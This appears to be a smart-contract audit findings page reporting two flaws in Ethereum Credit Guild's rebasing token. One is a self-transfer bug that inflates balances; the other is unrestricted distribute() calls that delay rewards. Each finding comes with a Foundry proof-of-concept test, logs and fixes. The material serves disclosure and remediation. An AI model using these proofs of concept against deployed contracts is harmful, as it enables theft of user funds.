Ethereum Credit Guild - Jorgect's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L553

Vulnerability details

The Logic of the transfer function check if a user is or not in rebase. If none of the users are in rebase, the transfer function operates as a standard ERC20 transfer.

Transfer function is keeping the two rebasing states at the begining of the function:

 function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        // if `from` is rebasing, materialize the tokens from rebase to ensure
        // proper behavior in `ERC20.transfer()`.
        RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
        RebasingState memory rebasingStateTo = rebasingState[to];
        ...
}

[Link]

If both the sender and recipient are in a rebasing state, the contract utilizes the rebasingStateFrom and rebasingStateTo memory variables at the beginning of the function. If an attacker sends money to their own address, the rebasingStateTo is increased with the amount, creating a misleading perception for the contract that this is the actual balance when, in fact, it represents the sender's balance.

 function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
      ...

     if (rebasingStateTo.isRebasing == 1) {
            // compute rebased balance
            uint256 rawToBalanceAfter = ERC20.balanceOf(to);
            uint256 toBalanceAfter = _shares2balance(
                rebasingStateTo.nShares,
                _rebasingSharePrice,
                amount,    <-------------------------
                rawToBalanceAfter
            );

            // update number of shares
            uint256 toSharesAfter = _balance2shares(
                toBalanceAfter,
                _rebasingSharePrice
            );
            uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;
            sharesDelta += int256(sharesReceived);
            rebasingState[to] = RebasingState({
                isRebasing: 1,
                nShares: uint248(toSharesAfter)
            });

            // "realize" unminted rebase rewards
            uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
            if (mintAmount != 0) {
                ERC20._mint(to, mintAmount);
                decreaseUnmintedRebaseRewards(mintAmount);
                emit RebaseReward(to, block.timestamp, mintAmount);
            }
        }
     ...

[Link]

See the Proof of Concept to a better undertanding.

Impact

An attacker can successfully drain the contract by transferring funds to their own address, exploiting the error in the contract logic.

Note that this behavior is in TransferFrom function too.

Proof of Concept

This simple Proof of Concept (POC) demonstrates how an attacker can successfully increase their token balance by transferring tokens to their own address.

Run the below test function in file:2023-12-ethereumcreditguild/src/tokens /ERC20RebaseDistributor.sol

function testTransferToItself() public {
        //@note poc high 3
        vm.prank(alice);
        token.enterRebase();

        vm.prank(bobby);
        token.enterRebase();

        token.mint(alice, 100e18);
        token.mint(bobby, 100e18);

        assertEq(token.isRebasing(alice), true);

        // vm.prank(alice);
        // token.transfer(alice, 10e18);
        token.mint(address(this), 100e18);
        token.distribute(100e18);

        vm.warp(block.timestamp + token.DISTRIBUTION_PERIOD());

        console.log("balance of alice before: ", token.balanceOf(alice));

        vm.prank(alice);
        token.transfer(alice, 50e18);

        console.log("balance of alice after: ", token.balanceOf(alice));

Add import "@forge-std/console.sol"; together with the rest of the imports.

See the logs:

Logs: balance of alice before: 150000000000000000000 balance of alice after: 200000000000000000000

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Implement a restriction to prevent users from transferring tokens to their own address.

 function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
     require(msg.sender != to, "invalid receiver");
      ...
}

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L338

Vulnerability details

The distribute function is triggered by the profit manager, which, in turn, is invoked by the term when a borrower repays interest. In essence, when interest is repaid, a fraction of it is distributed to credit holders currently in rebase.

The distribution to rebase holders occurs gradually over a defined time period known as DISTRIBUTION_PERIOD This period is employed to increment the targetTimestamp each time someone distributes a specific amount of tokens.

   function distribute(uint256 amount) external {
       ...
        if (_rebasingSupply != 0) {
            // update rebasingSharePrice interpolation
            uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;   <----------
            uint256 newTargetSharePrice = (amount *
                START_REBASING_SHARE_PRICE +
                __rebasingSharePrice.targetValue *
                _totalRebasingShares) / _totalRebasingShares;
            __rebasingSharePrice = InterpolatedValue({
                lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp),
                lastValue: SafeCastLib.safeCastTo224(_rebasingSharePrice),
                targetTimestamp: SafeCastLib.safeCastTo32(endTimestamp),
                targetValue: SafeCastLib.safeCastTo224(newTargetSharePrice)
            });

            // update unmintedRebaseRewards interpolation
            uint256 _unmintedRebaseRewards = unmintedRebaseRewards();
            __unmintedRebaseRewards = InterpolatedValue({
                lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp),
                lastValue: SafeCastLib.safeCastTo224(_unmintedRebaseRewards),
                targetTimestamp: SafeCastLib.safeCastTo32(endTimestamp),   <----------
                targetValue: __unmintedRebaseRewards.targetValue +
                    SafeCastLib.safeCastTo224(amount)
            });
        }
    }

[Link]

The distribute function does not have any access control, allowing any user to distribute tokens. This poses a potential vulnerability, as an attacker could exploit this by distributing a minimal amount (e.g., 1 wei), effectively extending the targetTimestamp with nearly the same targetValue.

Impact

Attackers can increase the targetTimestamp with nearly the same targetValue. disrupting the reward distribution for holders and potentially causing users to lose interest in the protocol.

Note that an attacker can repeatedly call the distribute function, distributing 1 wei each Timestamp, to maintain the targetTimestamp consistently 30 days away. This behavior disrupts the intended functioning of the reward distribution system.

Proof of Concept

The below POC illustrates that an attacker can increase the targetTimestamp by distributing one wei effectively extending the distribution of credit tokens.".

Run the next test function in Foundry in the file:2023-12-ethereumcreditguild/test/unit/tokens /ERC20RebaseDistributor.t.sol

function testDistributeV() public {
        //@note poc medium 13
        vm.prank(alice);
        token.enterRebase();
        vm.prank(bobby);
        token.enterRebase();
        token.mint(alice, 100);
        token.mint(bobby, 100);
        assertEq(token.totalSupply(), 200);

        // distribute 100 profits
        token.mint(address(this), 100);
        token.approve(address(token), 100);
        token.distribute(100);

        // minting to "attacker"
        address attacker = address(1234);
        token.mint(attacker, 100);

        vm.warp(block.timestamp + (token.DISTRIBUTION_PERIOD() / 2));

        // attacker distribute in the middle of the DISTRIBUTION_PERIOD 1 wei making the distribution larger with bassicly the same target value.
        vm.prank(attacker);
        token.distribute(1);

        vm.warp(block.timestamp + (token.DISTRIBUTION_PERIOD() / 2));

        console.log("balance of alice: ", token.balanceOf(alice));
        console.log("balance of bobby: ", token.balanceOf(bobby));
}

Add import "@forge-std/console.sol"; together with the rest of the imports.

After 30 days of distribution, Bobby and Alice were expected to have 150 tokens each, but currently, they each only have 137 tokens. see the logs:

Logs: balance of alice: 137 balance of bobby: 137

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Consider implementing access control in the distribute function. Given that this function is intended to be called by the profit manager, a recommended approach is to restrict the call to only the profit manager. Alternatively, you can create specific roles that are authorized to call the distribute function.

 function distribute(uint256 amount) external {
      require(profitManager == msg.sender, "Not autorized");    <----------
       ...
        if (_rebasingSupply != 0) {
            // update rebasingSharePrice interpolation
            uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;  
            uint256 newTargetSharePrice = (amount *
                START_REBASING_SHARE_PRICE +
                __rebasingSharePrice.targetValue *
                _totalRebasingShares) / _totalRebasingShares;
            __rebasingSharePrice = InterpolatedValue({
                lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp),
                lastValue: SafeCastLib.safeCastTo224(_rebasingSharePrice),
                targetTimestamp: SafeCastLib.safeCastTo32(endTimestamp),
                targetValue: SafeCastLib.safeCastTo224(newTargetSharePrice)
            });

            // update unmintedRebaseRewards interpolation
            uint256 _unmintedRebaseRewards = unmintedRebaseRewards();
            __unmintedRebaseRewards = InterpolatedValue({
                lastTimestamp: SafeCastLib.safeCastTo32(block.timestamp),
                lastValue: SafeCastLib.safeCastTo224(_unmintedRebaseRewards),
                targetTimestamp: SafeCastLib.safeCastTo32(endTimestamp),   
                targetValue: __unmintedRebaseRewards.targetValue +
                    SafeCastLib.safeCastTo224(amount)
            });
        }
    }

Assessed type

Other